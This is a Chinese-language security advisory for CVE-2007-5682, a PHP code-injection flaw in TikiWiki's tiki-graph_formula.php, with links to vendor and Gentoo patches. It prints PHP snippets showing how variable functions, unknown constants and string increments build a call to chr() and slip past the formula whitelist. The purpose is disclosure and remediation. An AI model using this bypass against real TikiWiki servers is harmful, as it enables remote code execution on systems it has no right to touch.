TikiWiki tiki-graph_formula.php文件白名单检查代码注入漏洞
发布日期:2007-10-29
更新日期:2007-10-30
受影响系统:TikiWiki Project TikiWiki <= 1.9.8.1
不受影响系统:TikiWiki Project TikiWiki 1.9.8.2
描述:
BUGTRAQ ID:
26220
CVE(CAN) ID:
CVE-2007-5682
TikiWiki是一款网站内容管理系统,基于PHP+ADOdb+Smarty等技术构建。
TikiWiki的实现上存在漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
由于PHP支持变量函数和变量,TikiWiki的白名单检查无法防范任意PHP代码执行。
$varname = 'othervar';
$$varname = 4; // set $othervar to 4
$funcname = 'chr';
$funcname(95); // call chr(95)
TikiWiki的黑名单无法防范“$”字符,注入的PHP公式可以使用$sin、$cos、$tan之类的临时变量,因此攻击者可以通过代表其他函数名称的字符串填充临时变量绕过防护。可以使用两个PHP功能:数组到字符串的转换和处理未知的常量。
$sin=cosh; // cosh is an unknown constant.
// PHP assumes the string 'cosh' as value
$sin[]=pi(); // Creates an array
$sin=$sin.$sin; // Stringconcats of arrays. Array to string
// conversion. Becomes 'ArrayArray'
结合++运算符使用上述两个功能就可以如下调用chr()函数:
$tan=pi()-pi(); // Get 0 into $tan
$sin=cosh; // Get the string 'cosh' into $sin
$min=$sin[$tan]; // Get 'c' into $min
$tan++; // Get 1 into $tan
$min.=$sin[$tan+$tan+$tan] // Append 'h' to 'c'
$min.=$sin[$tan]; // Append 'o' to 'ch'
$min++; // Increment 'cho' to 'chp'
$min++; // Increment 'chp' to 'chq'
$min++; // Increment 'chq' to 'chr'
$min($tan) // Call chr(1)
如果能够访问chr()函数,就可以创建各种字符串,调用任意其他函数,导致执行任意PHP代码。
<*来源:Stefan Esser (
s.esser@ematters.de)
链接:
http://info.tikiwiki.org/tiki-read_article.php?articleId=15
http://marc.info/?l=bugtraq&m=119367315118490&w=2
http://security.gentoo.org/glsa/glsa-200711-19.xml
*>
建议:
厂商补丁:
Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200711-19)以及相应补丁:
GLSA-200711-19:TikiWiki: Multiple vulnerabilities
链接:
http://security.gentoo.org/glsa/glsa-200711-19.xml
补丁下载:
所有TikiWiki用户都应升级到最新版本:
# emerge --sync
# emerge --ask --oneshot --verbose ">=www-apps/tikiwiki-1.9.8.3"
TikiWiki Project
----------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://downloads.sourceforge.net/tikiwiki/tikiwiki-1.9.8.2.tar.gz?modtime=1193347915&big_mirror=1浏览次数:3560
严重程度:0(网友投票)